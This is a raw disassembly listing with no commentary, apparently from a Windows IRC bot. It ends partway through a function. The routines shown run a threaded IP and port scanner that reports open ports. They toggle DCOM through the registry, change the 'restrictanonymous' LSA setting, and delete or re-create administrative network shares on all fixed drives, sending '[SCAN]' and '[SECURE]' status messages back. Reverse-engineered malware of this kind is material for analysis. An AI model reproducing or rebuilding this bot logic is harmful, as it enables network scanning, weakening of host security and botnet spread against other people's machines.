		cmp	dword ptr [ebp-18h], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_410FA9


loc_410FA4:				; CODE XREF: .text:00410F70j
					; .text:00410F7Dj
		mov	esi, offset a??? ; "???"


loc_410FA9:				; CODE XREF: .text:00410F56j
					; .text:00410F5Dj ...
		mov	edi, [ebp+7Ch]
		push	esi
		push	offset aS_7	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_416B5D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42FCD8, esi
		jle	short loc_410FED


loc_410FC7:				; CODE XREF: .text:00410FEBj
		call	sub_41699A
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_416B5D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42FCD8
		jl	short loc_410FC7


loc_410FED:				; CODE XREF: .text:00410FC5j
		mov	eax, edi
		pop	edi
		pop	esi
		add	ebp, 74h
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF6	proc near		; CODE XREF: sub_411098+80p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_42201C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		call	dword_43A3F8	; FindWindowA
		cmp	esi, 64h
		jbe	short loc_411045
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_41102E
		mov	eax, 422B0Ah


loc_41102E:				; CODE XREF: sub_410FF6+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_416B5D
		add	esp, 14h
		jmp	short loc_41105F
; ---------------------------------------------------------------------------


loc_411045:				; CODE XREF: sub_410FF6+28j
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_411053
		mov	eax, 422B0Ah


loc_411053:				; CODE XREF: sub_410FF6+56j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_41105F:				; CODE XREF: sub_410FF6+4Dj
		lea	eax, [ebp+var_1C]
		lea	edx, [eax+1]
		pop	esi


loc_411066:				; CODE XREF: sub_410FF6+75j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411066
		sub	eax, edx
		cmp	eax, 2
		jbe	short loc_411093
		push	1Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4167D0
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4169C0
		add	esp, 18h


loc_411093:				; CODE XREF: sub_410FF6+7Cj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_410FF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411098	proc near		; CODE XREF: sub_40942B+53p
					; sub_4096A7+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		xor	edi, edi


loc_4110A2:				; CODE XREF: sub_411098+62j
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_4110E1
		lea	eax, dword_4301A8[edi]


loc_4110AF:				; CODE XREF: sub_411098+33j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_4110D1
		test	cl, cl
		jz	short loc_4110CD
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_4110D1
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_4110AF


loc_4110CD:				; CODE XREF: sub_411098+21j
		xor	eax, eax
		jmp	short loc_4110D6
; ---------------------------------------------------------------------------


loc_4110D1:				; CODE XREF: sub_411098+1Dj
					; sub_411098+2Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4110D6:				; CODE XREF: sub_411098+37j
		xor	ecx, ecx
		test	eax, eax
		setz	cl
		mov	eax, ecx
		jmp	short loc_4110EF
; ---------------------------------------------------------------------------


loc_4110E1:				; CODE XREF: sub_411098+Fj
		mov	ecx, dword_4301B4[edi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_4110EF:				; CODE XREF: sub_411098+47j
		test	eax, eax
		jnz	short loc_4110FE
		add	edi, 14h
		inc	edx
		cmp	edi, 64h
		jb	short loc_4110A2
		jmp	short loc_41110C
; ---------------------------------------------------------------------------


loc_4110FE:				; CODE XREF: sub_411098+59j
		push	[ebp+arg_0]
		lea	eax, [edx+edx*4]
		call	off_4301B8[eax*4]
		pop	ecx


loc_41110C:				; CODE XREF: sub_411098+64j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_411120
		push	[ebp+arg_0]
		call	sub_410FF6
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411120:				; CODE XREF: sub_411098+7Bj
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_411098	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_411125	proc near		; DATA XREF: sub_4111E7+77o

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0B8h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		push	2Ah
		pop	ecx
		lea	edi, [ebp+74h+var_B8]
		rep movsd
		push	[ebp+74h+var_34]
		xor	esi, esi
		inc	esi
		mov	[eax+0A4h], esi
		xor	eax, eax
		lea	edi, [ebp+74h+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_10], 2
		call	dword_43A4F4	; ntohs
		push	6
		mov	[ebp+74h+var_E], ax
		mov	eax, [ebp+74h+var_28]
		push	esi
		push	2
		mov	[ebp+74h+var_C], eax
		call	dword_43A39C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4111D5
		push	10h
		lea	eax, [ebp+74h+var_10]
		push	eax
		push	esi
		call	dword_43A34C	; connect
		mov	ecx, [ebp+74h+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43B24C[ecx], esi
		jz	short loc_4111D5
		push	[ebp+74h+var_34]
		push	[ebp+74h+var_28]
		call	dword_43A420	; inet_ntoa
		push	eax
		push	offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open."
		mov	edi, offset dword_480B20
		push	edi
		call	sub_416905
		push	0
		push	[ebp+74h+var_20]
		lea	eax, [ebp+74h+var_B4]
		push	edi
		push	eax
		push	[ebp+74h+var_B8]
		call	sub_405D20
		push	edi
		call	sub_401ECD
		add	esp, 28h


loc_4111D5:				; CODE XREF: sub_411125+55j
					; sub_411125+76j
		push	esi
		call	dword_43A4B0	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		add	ebp, 74h
		leave
		retn	4
sub_411125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_4111E7	proc near		; DATA XREF: sub_409806+297Bo

var_12C		= byte ptr -12Ch
var_AC		= byte ptr -0ACh
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 12Ch
		push	ebx
		mov	ebx, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, ebx
		lea	edi, [ebp+74h+var_AC]
		rep movsd
		mov	esi, dword_422000
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_411214:				; CODE XREF: sub_4111E7+C1j
		push	[ebp+74h+var_28]
		push	[ebp+74h+var_1C]
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_12C]
		push	offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d."
		push	eax
		call	sub_416905
		push	1FFh
		lea	eax, [ebp+74h+var_12C]
		push	eax
		mov	eax, [ebp+74h+var_20]
		imul	eax, 234h
		add	eax, offset dword_43B040
		push	eax
		call	sub_4169C0
		add	esp, 1Ch
		lea	eax, [ebp+74h+var_4]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_AC]
		push	eax
		push	offset sub_411125
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		cmp	eax, edi
		mov	[ebp+74h+arg_0], eax
		jz	short loc_41127D
		jmp	short loc_411278
; ---------------------------------------------------------------------------


loc_411274:				; CODE XREF: sub_4111E7+94j
		push	32h
		call	esi	; Sleep


loc_411278:				; CODE XREF: sub_4111E7+8Bj
		cmp	[ebp+74h+var_8], edi
		jz	short loc_411274


loc_41127D:				; CODE XREF: sub_4111E7+89j
		push	[ebp+74h+arg_0]
		call	dword_42202C	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		push	[ebp+74h+var_1C]
		call	dword_43A474	; ntohl
		inc	eax
		push	eax
		call	dword_43A4CC	; ntohl
		mov	[ebp+74h+var_1C], eax
		jmp	loc_411214
sub_4111E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112AD	proc near		; CODE XREF: sub_4118ED+8p
					; sub_41190B+37p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43A508, edi
		jnz	loc_4113E0
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_43A4D0	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_411339
		lea	eax, [ebp+var_8+2]
		mov	word ptr [ebp+var_8+2],	4Eh
		lea	edx, [eax+1]


loc_4112F1:				; CODE XREF: sub_4112AD+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4112F1
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43A380	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_411321
		push	offset aSecureDisableD ; "[SECURE]: Disable DCOM failed."
		jmp	short loc_411326
; ---------------------------------------------------------------------------


loc_411321:				; CODE XREF: sub_4112AD+6Bj
		push	offset aSecureDcomDisa ; "[SECURE]: DCOM disabled."


loc_411326:				; CODE XREF: sub_4112AD+72j
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A480	; RegCloseKey
		jmp	short loc_41134C
; ---------------------------------------------------------------------------


loc_411339:				; CODE XREF: sub_4112AD+36j
		lea	eax, [ebp+var_214]
		push	offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM	registry "...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_41134C:				; CODE XREF: sub_4112AD+8Aj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41136B
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_41136B:				; CODE XREF: sub_4112AD+A2j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401ECD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43A4D0	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4113D9
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43A380	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_4113C1
		push	offset aSecureFailed_1 ; "[SECURE]: Failed to restrict access to "...
		jmp	short loc_4113C6
; ---------------------------------------------------------------------------


loc_4113C1:				; CODE XREF: sub_4112AD+10Bj
		push	offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"...


loc_4113C6:				; CODE XREF: sub_4112AD+112j
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A480	; RegCloseKey
		jmp	short loc_4113F3
; ---------------------------------------------------------------------------


loc_4113D9:				; CODE XREF: sub_4112AD+E3j
		push	offset aSecureFailed_2 ; "[SECURE]: Failed to open IPC$	Restricti"...
		jmp	short loc_4113E5
; ---------------------------------------------------------------------------


loc_4113E0:				; CODE XREF: sub_4112AD+13j
		push	offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...


loc_4113E5:				; CODE XREF: sub_4112AD+131j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_4113F3:				; CODE XREF: sub_4112AD+12Aj
		cmp	[ebp+arg_C], edi
		jnz	short loc_411412
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_411412:				; CODE XREF: sub_4112AD+149j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401ECD
		cmp	dword_43A530, edi
		pop	ecx
		jnz	loc_41158F
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi
		push	ebx


loc_411435:				; CODE XREF: sub_4112AD+2C6j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	edi
		call	dword_43A4A4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4114D4
		cmp	eax, 0EAh
		jz	short loc_4114D4
		xor	esi, esi


loc_411463:				; CODE XREF: sub_4112AD+220j
		push	off_430210[esi]
		push	edi
		call	sub_407C51
		pop	ecx
		pop	ecx
		push	off_430210[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_411488
		push	offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted."
		jmp	short loc_41148D
; ---------------------------------------------------------------------------


loc_411488:				; CODE XREF: sub_4112AD+1D2j
		push	offset aSecureFailed_3 ; "[SECURE]: Failed to delete '%s' share."


loc_41148D:				; CODE XREF: sub_4112AD+1D9j
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4114BA
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_4114BA:				; CODE XREF: sub_4112AD+1F1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401ECD
		add	esi, 8
		cmp	esi, 20h
		pop	ecx
		jb	short loc_411463
		jmp	loc_41156C
; ---------------------------------------------------------------------------


loc_4114D4:				; CODE XREF: sub_4112AD+1ABj
					; sub_4112AD+1B2j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_411563


loc_4114E3:				; CODE XREF: sub_4112AD+2B2j
		mov	edi, [esi]
		push	edi
		call	sub_417ECE
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_411558
		push	edi
		call	sub_407B65
		push	eax
		push	0
		call	sub_407C51
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_411518
		push	offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted."
		jmp	short loc_41151D
; ---------------------------------------------------------------------------


loc_411518:				; CODE XREF: sub_4112AD+262j
		push	offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%S' share."


loc_41151D:				; CODE XREF: sub_4112AD+269j
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41154B
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_41154B:				; CODE XREF: sub_4112AD+282j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401ECD
		pop	ecx


loc_411558:				; CODE XREF: sub_4112AD+245j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4114E3
		xor	edi, edi


loc_411563:				; CODE XREF: sub_4112AD+230j
		push	[ebp+var_8]
		call	dword_43A3D8


loc_41156C:				; CODE XREF: sub_4112AD+222j
		cmp	[ebp+var_10], 0EAh
		jz	loc_411435
		lea	eax, [ebp+var_214]
		push	offset aSecureNetworkS ; "[SECURE]: Network shares deleted."
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4115A2
; ---------------------------------------------------------------------------


loc_41158F:				; CODE XREF: sub_4112AD+178j
		lea	eax, [ebp+var_214]
		push	offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_4115A2:				; CODE XREF: sub_4112AD+2E0j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4115C0
		push	edi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_4115C0:				; CODE XREF: sub_4112AD+2F8j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401ECD
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_4112AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115D4	proc near		; CODE XREF: sub_41190B:loc_411949p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43A508, ebx
		push	esi
		jnz	loc_411703
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_43A4D0	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_411660
		lea	eax, [ebp+var_8+2]
		mov	word ptr [ebp+var_8+2],	59h
		lea	edx, [eax+1]


loc_411618:				; CODE XREF: sub_4115D4+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411618
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43A380	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_411648
		push	offset aSecureEnableDc ; "[SECURE]: Enable DCOM	failed."
		jmp	short loc_41164D
; ---------------------------------------------------------------------------


loc_411648:				; CODE XREF: sub_4115D4+6Bj
		push	offset aSecureDcomEnab ; "[SECURE]: DCOM enabled."


loc_41164D:				; CODE XREF: sub_4115D4+72j
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A480	; RegCloseKey
		jmp	short loc_411673
; ---------------------------------------------------------------------------


loc_411660:				; CODE XREF: sub_4115D4+36j
		lea	eax, [ebp+var_220]
		push	offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM	registry "...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_411673:				; CODE XREF: sub_4115D4+8Aj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_411692
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_411692:				; CODE XREF: sub_4115D4+A2j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401ECD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43A4D0	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4116FC
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43A380	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_4116E4
		push	offset aSecureFailed_5 ; "[SECURE]: Failed to unrestrict access	t"...
		jmp	short loc_4116E9
; ---------------------------------------------------------------------------


loc_4116E4:				; CODE XREF: sub_4115D4+107j
		push	offset aSecureUnrestri ; "[SECURE]: Unrestricted access	to the IP"...


loc_4116E9:				; CODE XREF: sub_4115D4+10Ej
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A480	; RegCloseKey
		jmp	short loc_411716
; ---------------------------------------------------------------------------


loc_4116FC:				; CODE XREF: sub_4115D4+E3j
		push	offset aSecureFailed_6 ; "[SECURE]: Failed to open IPC$	restricti"...
		jmp	short loc_411708
; ---------------------------------------------------------------------------


loc_411703:				; CODE XREF: sub_4115D4+13j
		push	offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...


loc_411708:				; CODE XREF: sub_4115D4+12Dj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_411716:				; CODE XREF: sub_4115D4+126j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_411735
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_411735:				; CODE XREF: sub_4115D4+145j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401ECD
		cmp	dword_43A530, ebx
		pop	ecx
		jnz	loc_4118A8
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_411756:				; CODE XREF: sub_4115D4+1EFj
		push	dword_430214[esi]
		push	off_430210[esi]
		push	ebx
		call	sub_407BE6
		add	esp, 0Ch
		push	off_430210[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_411782
		push	offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
		jmp	short loc_411787
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4115D4+1A5j
		push	offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share."


loc_411787:				; CODE XREF: sub_4115D4+1ACj
		push	edi
		push	eax
		call	sub_416B5D
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4117B0
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_4117B0:				; CODE XREF: sub_4115D4+1C0j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401ECD
		add	esi, 8
		cmp	esi, 10h
		pop	ecx
		jb	short loc_411756
		call	dword_422124	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_411890


loc_4117D8:				; CODE XREF: sub_4115D4+2B6j
		test	byte ptr [ebp+var_4], 1
		jz	loc_411885
		cmp	bl, 41h
		jz	loc_411885
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_416B5D
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_416B5D
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43A31C	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_411885
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_407BE6
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_411849
		push	offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
		jmp	short loc_41184E
; ---------------------------------------------------------------------------


loc_411849:				; CODE XREF: sub_4115D4+26Cj
		push	offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share."


loc_41184E:				; CODE XREF: sub_4115D4+273j
		push	edi
		push	eax
		call	sub_416B5D
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_411878
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_411878:				; CODE XREF: sub_4115D4+288j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401ECD
		pop	ecx


loc_411885:				; CODE XREF: sub_4115D4+208j
					; sub_4115D4+211j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4117D8


loc_411890:				; CODE XREF: sub_4115D4+1FEj
		lea	eax, [ebp+var_220]
		push	offset aSecureNetwor_0 ; "[SECURE]: Network shares added."
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		pop	edi
		jmp	short loc_4118BB
; ---------------------------------------------------------------------------


loc_4118A8:				; CODE XREF: sub_4115D4+174j
		lea	eax, [ebp+var_220]
		push	offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_4118BB:				; CODE XREF: sub_4115D4+2D2j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4118D9
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_4118D9:				; CODE XREF: sub_4115D4+2EAj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401ECD
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_4115D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4118ED	proc near		; CODE XREF: sub_4118ED+1Cj
					; DATA XREF: sub_40FAD0+3B4o
		push	1
		push	0
		push	0
		push	0
		call	sub_4112AD
		add	esp, 10h
		push	dword_43020C
		call	dword_422000	; Sleep
		jmp	short sub_4118ED
sub_4118ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41190B	proc near		; DATA XREF: sub_409806+54BEo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		cmp	[ebp+74h+var_10], 0
		push	[ebp+74h+var_8]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		jz	short loc_411949
		call	sub_4112AD
		jmp	short loc_41194E
; ---------------------------------------------------------------------------


loc_411949:				; CODE XREF: sub_41190B+35j
		call	sub_4115D4


loc_41194E:				; CODE XREF: sub_41190B+3Cj
		add	esp, 10h
		push	[ebp+74h+var_14]
		call	sub_41397A
		pop	ecx
		push	0
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_41190B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411963	proc near		; CODE XREF: sub_411BE1+98p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
